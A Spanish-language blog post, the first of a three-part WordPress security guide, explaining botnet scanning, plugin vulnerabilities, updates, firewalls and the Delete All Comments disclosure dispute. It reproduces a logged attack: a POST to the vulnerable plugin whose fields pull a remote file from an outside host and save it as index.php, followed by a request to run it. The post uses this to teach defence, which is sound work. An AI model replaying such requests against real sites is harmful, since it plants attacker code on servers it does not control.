Guía de seguridad de WordPress (Parte I: La Dark Web)

Desde su explosión en popularidad, todos los dueños de sitios web que lo eligieron —casi el 30% de la red en 2017, si incluimos los servicios de wordpress.com— tuvieron que empezar a considerar la seguridad de WordPress. Gracias a su naturaleza democrática, cualquiera puede instalar, escribir y ponerse a publicar sin complicaciones, pero por contrapartida cualquier hacker puede aprovecharse de esa misma facilidad.

Guía de referencia para la seguridad de WordPress
Foto de Markus Spiske — freeforcommercialuse.net de Pexels

Por eso un webmaster necesita conocimientos de seguridad informática. Pero es un área muy compleja. Aunque hay una cantidad de buenas prácticas desarrolladas por una gran comunidad de usuarios que, desde un punto de vista práctico, nos pueden guiar en el camino.

En la primera de esta serie de 3 entradas, voy a examinar qué es la llamada dark web, cómo funciona el malware y cuáles son los primeros pasos para proteger tu WordPress.

 

La economía de la dark web

Te puede resultar difícil entender por qué alguien querría vulnerar un WordPress con apenas unas visitas. En el imaginario colectivo, sólo las cadenas de noticias son hackeadas.

Pero este creciente negocio ilegal se corresponde con una rentabilidad cada vez mayor. En la dark web se están generando más de un trillón y medio de dólares por año, si ese número puede tener algún significado (aparte de ser impresionante).

Un analista del cibercrimen llegó a definirla ya no como un negocio, sino como una economía entera.

Dark web
Foto por sebastiaan stam de Pexels

De modo que, sin importar tu grado de experiencia con WordPress, las buenas prácticas detalladas a lo largo de esta guía te darán una herramienta duradera y fundamental para resguardar los contenidos y reputación de tu sitio web.

 

Modus operandi del malware

Si no hay una terminal detrás de la logística de los hackeos informáticos, es porque hay un bot, o una red de ellos llamada botnet. 

Estos zombiesPCs infectadas inadvertidamente o incluso routers— a veces se ofrecen en alquiler. Para realizar ataques denial-of-service (DDoS) y otro tipo de tareas similares. En particular, son usados para detectar vulnerabilidades.

Hay scripts (bastante fáciles de conseguir) diseñados para encontrar plugins con agujeros conocidos. O bien instalaciones factibles de ser atacadas mediante inyecciones SQL, etc.

Éstos son implementados dentro de estos agentes. Es la primera etapa de una infección exitosa: detectar por dónde entrar.

Hacker
Foto de Mustafa ezz de Pexels

 

Un ejemplo real

Este fragmento de un log real que pego a continuación muestra un intento de creación de un archivo ejecutable:

POST /wp-content/plugins/delete-all-comments/delete-all-comments.php HTTP/1.1

El timestamp de este request es: 2018-04-17 05:22:23.

POST es la manera de comunicarse con el servidor para enviarle datos sin necesidad de incluirlos dentro de la URL.

Incluyó dos pares de valores, como si fuesen los campos de un formulario:

restorefromfileURL: http://publizd.com/templates/system/css/style.css
restorefromfileNAME: index.php

Consecutivo al anterior se regitró este otro:

GET /wp-content/plugins/delete-all-comments/backup/index.php HTTP/1.1

El timestamp: 2018-04-17 05:22:26.

A partir de estos dos pedidos HTTP es posible deducir que se trató de un ataque a WordPress, por medio de un script que intentó aprovechar un punto de entrada conocido.

El primero intentaba crear un payload a través de una conocida vulnerabilidadhecha pública hacia fines del 2016que permitía escribir un archivo ejecutable en el servidor de WordPress. El segundo intentaba accederlo.

Notar la diferencia de tres microsegundos entre uno y otro, la señal de que era un malware por completo automatizado.

Nodos

 

La lupa detectivesca sobre los rastros del malware

La información técnica anterior puede resumirse en estos tres pasos:

  1. Primero, un bot —ejecutando un script diseñado para encontrar agujeros conocidos en instalaciones de WordPress— realiza dos pedidos HTTP. Estos siguen una secuencia con la que se puede crear un payload en el servidor.
  2. Si el último pedido no hubiese devuelto un error (404 no encontrado), el malware hubiera indicado al hacker que el payload fue exitosamente instalado.
  3. A partir de allí, el intruso podría haber seguido la secuencia de infección cargando otros comandos. Lo más predecible hubiera sido acceder a la base de datos para crear un usuario con permisos administrativos. Pero esto hubiera dependido de sus objetivos en particular.

La mayoría de la veces es posible saber si un sitio web es infectado sólo revisando logs. Es por esto que las tareas relativas a la seguridad de WordPress suelen ser tediosas.

Para alivianarlas un poco existen unos excelentes recursos gratuitos como Bad Behavior, un firewall con capacidades de registro detallado.

Otro gran plugin en lo que respecta a la recolección de datos es WP Security Audit Log. Facilita el acceso a todas las últimas acciones realizadas en una instancia de WordPress.
 

Los tres puntos básicos para crear una capa de seguridad de WordPress

El ejemplo anteriormente descripto es real pero inocuo, en el sentido de que no representó ninguna amenaza. Hubiese sido así si el plugin Delete All Comments hubiese estado instalado durante dos años desde que el bug fue publicado, sin revisar.

En ese tiempo, la comunidad ya había informado que la única solución era borrarlo.

Los plugins son la supericie más atacada. Por ende, el problema más serio para la seguridad de WordPress. Esto es bastante lógico, considerando que hay cientos de miles de ellos para instalar.

La extensibilidad que posibiltan los plugins es lo que distingue a este CMS de otros. Por eso mismo, es la razón de que haya malware específico para inspeccionarlos. Es imposible bloquear este tipo de tráfico. Está pensado para encontrar puntos de acceso.

En este área es mejor estar siempre al tanto de cualquier novedad. Desde las nuevas vulnerabilidades hasta las que ya fueron solucionadas en versiones recientes. Y no sólo en cuanto a plugins independientes, sino también al núcleo de WordPress.

Boxer
 

(1) Mantener actualizados el núcleo, los plugins y themes

La primera práctica preventiva para la seguridad de WordPress, en lo que respecta a plugins y themes (así como al núcleo), es mantenerlos siempre actualizados.

Para esto hay tres opciones:

  1. Conectarse regularmente al Dashboard y ejecutar las actualizaciones. Las únicas que no tienen que ser hechas inmediatamente son las que pueden romper el sitio. O las que cambian drásticamente la numeración.
  2. Utilizar un servicio gratuito de actualización automática como ManageWP. Se apoya en dos patas. Un plugin gratuito, por un lado. Y una cuenta de usuario que permite administrar las actualizaciones remotamente, por otro.
  3. Hay una herramienta avanzada de administración de WordPress llamada WP-CLI, aunque requiere de acceso al shell del servidor. Permite actualizar todos los componentes sin necesidad de utilizar la interfaz web. Sólo para Linux.

 

(2) Mantenerse informado

La otra práctica de prevención más importante para la seguridad de WordPress es estar al tanto del nuevo malware que sale al mercado. Además de tener en cuenta las nuevas versiones de WordPress.

Una manera de mantenerse activamente informado es suscribirse al boletín oficial. Luego, hay varias opciones a tener en cuenta con respecto a la seguridad de WordPress.

Una de ellas, que utilizo y recomiendo, es WP Security Bloggers. Es una suma de todos los principales blogs dedicados al tema.

Para completar el panorama, otro recurso independiente es Plugin Vulnerabilities. También funciona como alternativa a la base de datos de vulnerabilidades más usada, que es WPScan.
 

(3) Proteger la seguridad de WordPress con un filtro del tráfico HTTP

Y la última, pero no menos importante, es agregar un firewall basado en web para filtrar el tráfico que atente contra la seguridad de WordPress.

Hay varias alternativas. Wordfence es uno de los plugins más utilizados, pero es muy pesado. Shield es la solución que prefiero y recomiendo. También Bad Behavior.

Para quienes necesiten una aplicación ligera sin configuración alguna, está Block Bad Queries.

 

La política de revelación responsable como medida de seguridad de WordPress

El caso de Delete All Comments fue justamente el centro de una fuerte polémica. El 10 de diciembre del 2016, una compañía dedicada a deshacer hackings hizo pública una incidencia del tipo de subida arbitraria de ficheros (arbitrary file upload) en este software, indicando que:

“…porque una parte del script principal delete-all-comments.php no está restringido sólo al administrador, cualquier usuario sin autenticación puede subir un archivo PHP remoto en la carpeta /plugins/delete-all-comments/backup/.”

La discusión se encendió debido a que los desarrolladores de Delete All Comments no respondieron a ninguno de los correos que les advirtieron sobre este problema. Tampoco lanzaron un patch para arreglarlo a pesar de que se siguió el procedimiento de la revelación responsable.

Code

El repositorio oficial de WordPress lo quitó poco después. Pero ya había sido instalado en alrededor de 30.000 sitios que no tenían manera inmediata de saberlo. La única forma de protegerse era borrarlo.

El debate que sigue aún hoy vigente es, entonces, cómo establecer un procedimiento para las fallas que pudieran afectar por sorpresa a la seguridad de WordPress. Las de subida arbitraria son hasta ahora también la principal causa de hackeos, según las estadísticas de varias compañías.

Mientras se discute un plan de acción, las aplicaciones auxiliares No Longer in Directory y Plugin Vulnerabilities sirven para averiguar rápidamente si hay plugins eliminados del directorio. Las examino con más detalle en 3 plugins para la seguridad de los plugins de WordPress.

¡Si esta información te resulta útil, tus comentarios y sugerencias son bienvenidos!

[Siguiente] > Guía de seguridad de WordPress (Parte II: Malware)

[Siguiente] > Guía de seguridad de WordPress (Parte III: 10 Buenas Prácticas)

1.09.2018 (31.10.2018)

Suscribite para recibir lo último en Design & WordPress

Dejá un comentario

Tu dirección de correo electrónico no será publicada. Los campos necesarios están marcados *

Do NOT follow this link or you will be banned from the site!